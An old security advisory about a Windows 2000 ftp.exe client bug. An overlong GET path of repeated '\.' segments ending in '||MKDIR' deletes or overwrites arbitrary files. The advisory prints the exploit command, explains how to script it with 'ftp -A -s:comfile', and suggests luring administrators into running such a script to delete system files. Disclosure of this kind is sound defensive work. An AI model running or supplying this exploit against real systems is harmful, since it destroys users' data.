COMMAND
ftp
SYSTEMS AFFECTED
Win2000
PROBLEM
Antti Hakulinen found following. This little "ms feature" allows
anyfile on your system to be deleted. This applies at least Win2k
build 2195 servicepack 1 & latest updates. Using the GET command
like this:
C:\FTP
blaah blaah....
(BTW: This "feature" Works fine as anonymous user)
ftp> get \.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA||MKDIR
500 Command was too long
So, any file what you named in ||MKDIR part is deleted. Well
at least it is gone. Malicious users can now delete files,
assuming he/she knows where it is being located and they do have
hard enough rights, as ftp.exe always runs with the same rights as
the currently logged user.
Don't get fooled when you do this umm... for example to your
config.sys file. There will be an error message: PERMISSION
DENIED: but who cares, this fabulous ms feature deletes it anyway.
Stephen John tried this on Win2k Server Build 2195. He was able
to overwrite a file when logged on as anonymous, and the file
permissions on the file were set to no access by anyone. But it
should be noted that he logged in from the local system, alothough
we doubt a remote login would change anything. In this case John
and Antii were wrong. This does not affect to the ftp server in
any manner. This is purely a ftp.exe bug.
Anyone tring to get this this to work using Windows might want to
try running 'ftp -A -s:comfile X.X.X.X' , this logs in as
anonymous and runs the commands in the file 'comfile' where
comfile has the get command in it (with no newlines).
We can also assume that one can lure the person running computer
with Administrator equivalent rights to run a script that does
this and example, deletes all the vital system files. So, a fully
potential threat this is anyway.
SOLUTION
The ftp.exe bug with the "PUT" command is fixed with WIN2K SP 2.
The "put" command still allows more than many characters to be
typed, but now it seems that it handles only 256 of 'em, so no
exploit possible that way...
Given the right amount of certain characters, it still notifies
you that the following command couldn't be saved/writed in to a
memory ADDR: 8785%##% (blaa blaa) So there can be a way still...
Otherwise, ftp.exe will simply die, and ultimately, it will close
itself taking you back to the command prompt which you started
the whole mess.. Afterwards, you can check this from the
drwtsn32.log file and see that ftp.exe generated errors and was
shutted down. You can find a " 500 created " in the ftp.exe
logfiles, so, we can assume that something was about to start,
but it never did happen, or it did, but we cannot seemingly find
it anywhere...